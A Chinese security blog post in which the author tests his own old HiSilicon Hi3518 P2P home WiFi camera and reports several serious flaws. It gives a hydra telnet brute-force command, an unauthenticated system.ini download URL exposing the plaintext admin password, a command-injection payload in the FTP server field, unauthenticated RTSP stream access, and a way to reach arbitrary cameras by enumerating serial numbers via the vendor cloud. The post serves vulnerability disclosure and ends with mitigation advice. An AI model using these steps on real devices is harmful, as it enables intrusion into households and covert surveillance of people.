家用WIFI网络摄像头(P2P)安全吗?记一次海思Hi3518方案摄像头的测试

作者:中国移动云能力中心  ——严金华

概要:海思Hi3518方案摄像头存在多个高危漏洞,此产品较老,目前网络上只有少量此类摄像头存在

0x00背景

15年左右在淘宝买了一个无线网络摄像头,搬家之后一直放在杂物堆里,最近重新上电装在客厅准备监控一下入户门,连接摄像头需要IP和管理密码,时间太长密码早就不记得了。于是拿出Goby扫一下局域网,找一下IP地址,并且顺便做个简单的测试。Goby扫描结果显示 开启了 两个端口:

23端口,telnet服务

81端口,Web服务,摄像头的管理界面,需要HTTP验证,密码应该设置过,现在忘了

0x01 Telnet爆破

直接hydra爆破一下 telnet服务

hydra 192.168.1.147 telnet -l root -P p.txt -t 32 -s 23 -e ns -f -V

好家伙,密码123456成功登录,登陆之后随便找找,/tmp/web下有一些配置文件

/tmp/web # ls -la *ini
lrwxrwxrwx    1 root     0               25 Oct 27 02:11 factory.ini -> /system/param/factory.ini
lrwxrwxrwx    1 root     0               30 Oct 27 02:11 factoryparam.ini -> /system/param/factoryparam.ini
lrwxrwxrwx    1 root     0               23 Oct 27 02:11 network-b.ini -> /system/www/network.ini
lrwxrwxrwx    1 root     0               23 Oct 27 02:11 network.ini -> /system/www/network.ini
lrwxrwxrwx    1 root     0               22 Oct 27 02:11 system-b.ini -> /system/www/system.ini
lrwxrwxrwx    1 root     0               22 Oct 27 02:11 system.ini -> /system/www/system.ini
/tmp/web #

system.ini里面就明文存了Web登录密码等信息,如下图账号admin,密码zheshimima,用这个账号密码登录web页面就可以看到监控视频了

00000680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00000690: 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00    admin...........
000006a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
000006b0: 6F 70 65 6E 31 34 32 38 35 37 00 00 00 00 00 00    zheshimima......
000006c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
000006d0: 03 01 0F 19 80 00 00 00 00 00 00 06 00 03 00 00    ................
000006e0: 00 80 7E 7E 76 01 00 00 01 14 1F 00 00 00 00 00    ..~~v...........
000006f0: 01 01 01 00 FF FF FF FF FF FF FF FF FF FF FF FF    ................
00000700: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF    ................
00000710: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF    ................
00000720: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF    ................
00000730: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF    ................
00000740: FF FF FF FF FF FF FF FF B9 03 CE 00 14 01 00 00    ........9.N.....
00000750: 6E 00 A2 04 14 01 00 00 00 00 00 00 00 00 00 00    n.".............
00000760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00000770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................

顺便看看 /etc/passwd

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

LSiuY7pOmZG2s是一个已知的弱口令hash,明文就是123456

0x02 Web端测试

这时候已经通过telnet掌握了这台摄像头的控制权了,但是如果telnet服务没开或者不是弱密码是否还有别的方法可以突破呢?继续挖掘下

浏览81端口web服务,这个设备支持两种验证模式

  • HTTP 验证,就是401验证
  • url后面加账号密码验证 (?loginuse=LOGIN&loginpas=PASS)

因为没有做密码重试次数的限制,也没有验证码,这两种方式都可以用Burp爆破

爆破不出来怎么办?继续往下看

无授权访问syetem.ini漏洞

正常访问下面的路径都提示需要账号密码

http://192.168.1.147:81/get_params.cgi

http://192.168.1.147:81/system.ini?

但是这里存在一个绕过。访问system.ini的时候 loginuse和loginpas传空j居然直接就把system.ini下载下来了

http://192.168.1.107:81/system.ini?loginuse&loginpas

下载到system.ini里面保存了明文的登录密码

远程命令执行漏洞

登录页面之后有一个功能是设置FTP服务器,摄像头可以定时把视频,照片上传到指定的FTP服务器上,可以填写一个IP或者域名,比如填写 `x.com, 设备就会去执行ftp x.com,这里存在一个命令执行漏洞

填写x.com; ping xxxxxxxx.dnslog.cn 可以在dnslog上看到回显

说明我们的命令执行了,此处可以开启telnet(假设telnetd关闭了)、修改root密码

未授权串流漏洞

也不需要不需要登录,直接用vlc打开 rtsp的串流地址就可以看到实时监控画面了

vlc rtsp://192.168.1.147:10554/tcp/av0_1

0x03 客户端测试

这个摄像头支持手机IOS,Android,PC客户端,和Web页面访问方式连接。其中Web端的攻击上文已经介绍过了,下面研究下客户端。

客户端连接方式

客户端可以在公网环境下访问到处于局域网内的监控,原理是通过一个中心服务器建立UDP隧道,原理和Zerotier是相似的。Zerotier的原理下次有机会讲。这个中心服务器由摄像头厂商提供,所以如果服务器挂了,客户端就无法工作了。客户端工作方式如图

家用WIFI网络摄像头(P2P)安全吗?记一次海思Hi3518方案摄像头的测试_第1张图片

使用一个唯一的序列号来区分摄像头,举例 “123456-ABCDE”,客户端首先请求服务器查询,123456-ABCDE的IP地址是多少,服务器会返回一个内网IP和一个公网IP出来,客户端在公网,会尝试访问摄像头的公网IP,一般情况下肯定连不上。然后服务端就和摄像头沟通,有个客户端想连你,但是连不上,建立一个udp隧道吧。

UDP隧道

UDP隧道的模型如下,其中cloud server在极端情况下会做中继转发客户端和摄像头之间的包;一般情况下服务器只是帮助客户端和摄像头之间建立udp隧道,客户端和摄像头之间通信可以在udp隧道下面实现P2P直连,这也是此类摄像头被叫做P2P的原因,这样直连正常情况下是可以跑满带宽的

[Android Application] <===UDP===> Cloud server <===UDP===> [Camera]

然后客户端使用udp隧道给摄像头发送HTTP请求,进行登录的验证

GET check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&

验证通过之后客户端就可以请求获取摄像的配置,看到监控画面,并且可以控制云台等

攻击方法

分析了之后,要知道攻击方法就非常简单了,只要访问厂商云服务器,提交某个序列号,服务就会返回摄像头的IP,然后就可以建立UDP连接,由于厂商服务器不保存摄像头的登录方式,所以不会在这个阶段之前进行校验摄像头密码,建立隧道之后可以爆破服务器密码,或者通过无授权访问system.ini获得账号密码。然后就不用再多说了吧。可以通过遍历序列号访问到任何一台摄像头(摄像头无需公网映射)

0x04 修复方案

这个方案摄像头毫无安全性可言,奉劝大家不要用了。如果实在想用,可以先把厂商服务器域名屏蔽了,禁止和厂商服务器建立任何链接,也就无法建立udp隧道了,但是这样客户端就不能用了。这样还是存在隐患,也没有其他更好的办法了,直接弃用才是正确方案

版权声明 (原创):本文内容由移动云用户自发贡献,版权归原作者所有,移动云开发者社区不拥有其著作权,亦不承担相应法律责任。如果您发现本社区有涉嫌抄袭的内容,可填写举报信息,一经查实,本社区将立刻删除涉嫌侵权内容。

你可能感兴趣的:(p2p,运维,云安全)